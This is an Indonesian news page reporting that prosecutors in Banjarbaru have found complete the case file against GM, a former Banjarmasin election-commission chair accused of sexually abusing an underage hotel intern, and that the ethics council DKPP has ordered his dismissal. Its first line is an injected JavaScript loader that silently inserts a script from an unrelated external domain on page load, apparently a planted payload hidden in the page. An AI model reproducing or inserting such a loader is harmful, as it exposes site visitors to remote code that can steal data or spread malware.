(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Berkas Sudah P21, Kejari Banjarbaru Tunggu Penyerahan Mantan Ketua KPU Banjarmasin


KANALKALIMANTAN.COM, BANJARBARU – Berkas perkara tindak pidana pencabulan terhadap anak di bawah umur, dengan tersangka GM -mantan Ketua KPU Banjarmasin, telah dinyatakan lengkap atau P21. Hal itu, dipastikan oleh pihak Kejaksaan Negeri (Kejari) Banjarbaru setelah menerima berkas perkara yang diserahkan tim penyidik Polres Banjarbaru.

Kepala Seksi Pidana Umum (Pidum) Kejari Banjarbaru, Budi Muklish, menyatakan bahwa penyerahan berkas perkara GM dilakukan pada Senin (2/3/2020) kemarin. Ia menyatakan berkas tersebut telah diteliti, apakah telah dilengkapi atau tidak.

“Kita sudah melakukan gelar perkara, pada Rabu (5/3/2020) kemarin dan hasilnya kami nyatakan bahwa berkas yang diserahkan telah lengkap (P21) dan bisa dilanjutkan ke persidangan,” katanya.

Menurut Budi, tindakan asusila yang dilakukan oleh GM saat menjabat sebagai Ketua KPU Banjarmasin, sangatlah serius. Mengingat, aksi tersebut dilakukan kepada anak di bawah umur yang tentunya dikhawatirkan berdampak pada psikologis korban.

Saat ini pihak Kejaksaan tengah menunggu penyerahan GM berserta alat bukti. Bersamaan itu, Budi mengaku bahwa kasus yang menjadi sorotan masyarakat ini, penanganannya bisa dipercepat. Apalagi, dua alat bukti dan keterangan saksi sudah lebih dari cukup, untuk menyeret GM dalam dinginnya sel penjara.

“Ya, dengan berkas yang kita terima ini, cukup untuk membawa kasus ini keranah pengadilan. Kemungkinan tersangka akan diserahkan pekan depan. Jaksa Penuntut Umum (JPU) yang sudah kita pilih juga siap mengawal kasus ini,” pungkas Budi.

Sebelumnya, pada Rabu (4/3/2020) kemarin, Dewan Kehormatan Penyelenggara Pemilu (DKPP) menggelar sidang pembacaan putusan terhadap 10 perkara di Ruang Sidang DKPP Jakarta. Dari berbagai perkara yang dibacakan, DKPP juhga membacakan putusan terhadap Ketua KPU Kota Banjarmasin non aktif GM.

Dalam sidang yang disiarkan langsung di laman Facebook DKPP, putusan dengan nomor 11-PKE-DKPP/II/2020 ini, anggota majelis Dr Ida Budhiati membacakan uraian laporan terhadap GM ke Polres Banjarbaru pada 26 Desember 2019 lalu.

Ketua Majelis yang juga Plt Ketua DKPP Dr Muhammad pun membacakan putusan. Pertama, mengabulkan pengaduan yang diputus sebelumnya. “Kedua, mengajukan sanksi pemberhentian tetap terhadap GM selaku ketua merangkap anggota KPU Kota Banjarmasin. Ketiga, memerintahkan kepada KPU RI untuk melaksanakan putusan ini,” ucapnya.

Selain itu, DKPP RI juga memerintahkan kepada Bawaslu RI untuk mengawasi putusan ini. Tak lama, Dr Muhammad mengetuk palu sebanyak tiga kali, yang berarti putusan ini telah ditetapkan.
Kembali menyegarkan ingatan, Polres Banjarbaru resmi menahan mantan Ketua KPU Banjarmasin GM atas tindak pidana pencabulan anak di bawah umur, pada Januari lalu. Penahanan GM setelah pihak kepolisian memeriksa 7 orang saksi termasuk tersangka.

Kapolres menceritakan awal terjadinya aksi pencabulan yang dilakukan GM pada tanggal 25 Desember 2019, saat korban membersihan toilet. Korban merupakan anak magang di Grand Dafam Q Hotel, Banjarbaru.

“Korban dan GM bertemu di toilet dan terjadilah aksi pencabulan itu. Tersangka mengiming-imingi korban akan dibelikan pakaian sambil melakukan aksi pencabulan itu. Setelah aksi ini, kondisi korban trauma. Untuk itu, kita melakukan trauma healing kepada korban,” terang Kapolres.

Atas perbuatannya, GM disangkakan pasal 82 ayat 1 Undang-Undang Perlindungan Anak dengan ancaman hukuman maksimal 15 tahun penjara. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Chell


Desy Arfianty

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

10 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

11 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

12 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

13 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

14 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

15 jam ago

This website uses cookies.